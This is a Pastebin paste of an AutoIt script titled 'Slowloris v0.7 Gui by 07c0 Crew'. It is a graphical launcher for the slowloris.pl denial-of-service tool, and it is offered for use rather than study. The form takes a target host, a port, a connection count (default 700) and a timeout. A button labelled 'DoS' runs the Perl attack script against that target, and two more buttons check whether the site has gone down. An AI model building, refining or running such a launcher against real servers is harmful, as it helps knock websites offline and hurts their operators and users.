Advertisement
Guest User

Slowloris GUI

a guest
Oct 15th, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 4.09 KB | None | 0 0
  1. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  2. #AutoIt3Wrapper_Icon=Converse-Red.ico
  3. #AutoIt3Wrapper_UseUpx=n
  4. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  5.  
  6. #include <ButtonConstants.au3>
  7. #include <EditConstants.au3>
  8. #include <GUIConstantsEx.au3>
  9. #include <StaticConstants.au3>
  10. #include <WindowsConstants.au3>
  11. $frmMain = GUICreate("Slowloris v0.7 Gui by 07c0 Crew", 301, 477, -1, -1)
  12. $txtHost = GUICtrlCreateInput("www.spam.de", 16, 129, 177, 21)
  13. $txtPort = GUICtrlCreateInput("80", 16, 185, 177, 21)
  14. $txtConnections = GUICtrlCreateInput("700", 16, 244, 177, 21)
  15. $txtTimeout = GUICtrlCreateInput("30", 16, 303, 177, 21)
  16. $chkCache = GUICtrlCreateCheckbox("Cache", 16, 344, 65, 21)
  17. $chkSSL = GUICtrlCreateCheckbox("SSL", 128, 344, 65, 21)
  18. $cmdTest = GUICtrlCreateButton("Test timeout", 200, 300, 89, 24)
  19. $picCrew = GUICtrlCreatePic(@ScriptDir & "\title.jpg", 8, 8, 283, 93, BitOR($GUI_SS_DEFAULT_PIC,$WS_BORDER))
  20. $grpMain = GUICtrlCreateGroup("", 2, -4, 297, 479)
  21. $lblUrl = GUICtrlCreateLabel("URL:", 14, 110, 29, 17)
  22. $lblPort = GUICtrlCreateLabel("Port:", 14, 165, 26, 17)
  23. $lblTimeOut = GUICtrlCreateLabel("Timeout:", 14, 283, 45, 17)
  24. $lblConnections = GUICtrlCreateLabel("Connections:", 14, 224, 66, 17)
  25. $lblInfo = GUICtrlCreateLabel("Install ActivePerl. Download *click*", 40, 446, 205, 14)
  26. GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
  27. GUICtrlSetColor(-1, 0xFF0000)
  28. $cmdDown = GUICtrlCreateButton("Down?", 201, 206, 89, 24)
  29. $cmdWhois = GUICtrlCreateButton("Whois", 201, 166, 89, 24)
  30. $cmdStart = GUICtrlCreateButton("DoS", 201, 126, 89, 23)
  31. $txtPerl = GUICtrlCreateInput("C:\Perl\bin\Perl.exe", 16, 412, 225, 21)
  32. GUICtrlSetState(-1, $GUI_DISABLE)
  33. $cmdPerl = GUICtrlCreateButton("...", 250, 410, 33, 24)
  34. $lblOption = GUICtrlCreateLabel("Option:", 16, 392, 38, 16)
  35. $gprMain2 = GUICtrlCreateGroup("", 7, 98, 286, 280)
  36. GUICtrlCreateGroup("", -99, -99, 1, 1)
  37. GUICtrlCreateGroup("", -99, -99, 1, 1)
  38. GUISetState(@SW_SHOW)
  39.  
  40.  
  41. If FileExists(@ScriptDir & "\option.slo") Then
  42.    Dim $optr = FileOpen(@ScriptDir & "\option.slo", 0)
  43.    GUICtrlSetData($txtPerl, FileReadLine($optr))
  44.    FileClose($optr)
  45. EndIf
  46.  
  47. While 1
  48.     $nMsg = GUIGetMsg()
  49.     Switch $nMsg
  50.         Case $GUI_EVENT_CLOSE
  51.             Exit
  52.          Case $cmdTest
  53.             ShellExecute(GUICtrlRead($txtPerl), @ScriptDir & "\slowloris.pl -dns " & GUICtrlRead($txtHost) & " -port " & GUICtrlRead($txtPort) & " -test")
  54.          Case $cmdStart
  55.             If GUICtrlRead($chkcache) = 1 And GUICtrlRead($chkSSL) = 1 Then
  56.                ShellExecute(GUICtrlRead($txtPerl), @ScriptDir & "\slowloris.pl -dns " & GUICtrlRead($txtHost) & " -port " & GUICtrlRead($txtPort) & " -timeout " & GUICtrlRead($txtTimeout) & " -num " & GUICtrlRead($txtConnections) & " -cache -ssl")
  57.             ElseIf GUICtrlRead($chkcache) = 1 Then
  58.                ShellExecute(GUICtrlRead($txtPerl), @ScriptDir & "\slowloris.pl -dns " & GUICtrlRead($txtHost) & " -port " & GUICtrlRead($txtPort) & " -timeout " & GUICtrlRead($txtTimeout) & " -num " & GUICtrlRead($txtConnections) & " -cache")
  59.             ElseIf GUICtrlRead($chkSSL) = 1 Then
  60.                ShellExecute(GUICtrlRead($txtPerl), @ScriptDir & "\slowloris.pl -dns " & GUICtrlRead($txtHost) & " -port " & GUICtrlRead($txtPort) & " -timeout " & GUICtrlRead($txtTimeout) & " -num " & GUICtrlRead($txtConnections) & " -ssl")
  61.             Else
  62.                ShellExecute(GUICtrlRead($txtPerl), @ScriptDir & "\slowloris.pl -dns " & GUICtrlRead($txtHost) & " -port " & GUICtrlRead($txtPort) & " -timeout " & GUICtrlRead($txtTimeout) & " -num " & GUICtrlRead($txtConnections))
  63.             EndIf
  64.          Case $cmdPerl
  65.             Dim $file = FileOpenDialog("File selection", @ScriptDir, "Executable(*.exe)", 1 + 2, "Perl.exe")
  66.  
  67.             If @error Then
  68.                 MsgBox(4096, "", "No File chosen!")
  69.              Else
  70.                 GUICtrlSetData($txtPerl, $file)
  71.                 Dim $optw = FileOpen(@ScriptDir & "\option.slo", 2)
  72.                 FileWriteLine($optw, $file)
  73.                 FileClose($optw)
  74.             EndIf
  75.          Case $lblInfo
  76.             ShellExecute("http://www.activestate.com/activeperl/downloads")
  77.          Case $cmdWhois
  78.             ShellExecute("http://whois.domaintools.com/" & GUICtrlRead($txtHost))
  79.          Case $cmdDown
  80.             ShellExecute("http://www.downforeveryoneorjustme.com/" & GUICtrlRead($txtHost))
  81.     EndSwitch
  82. WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement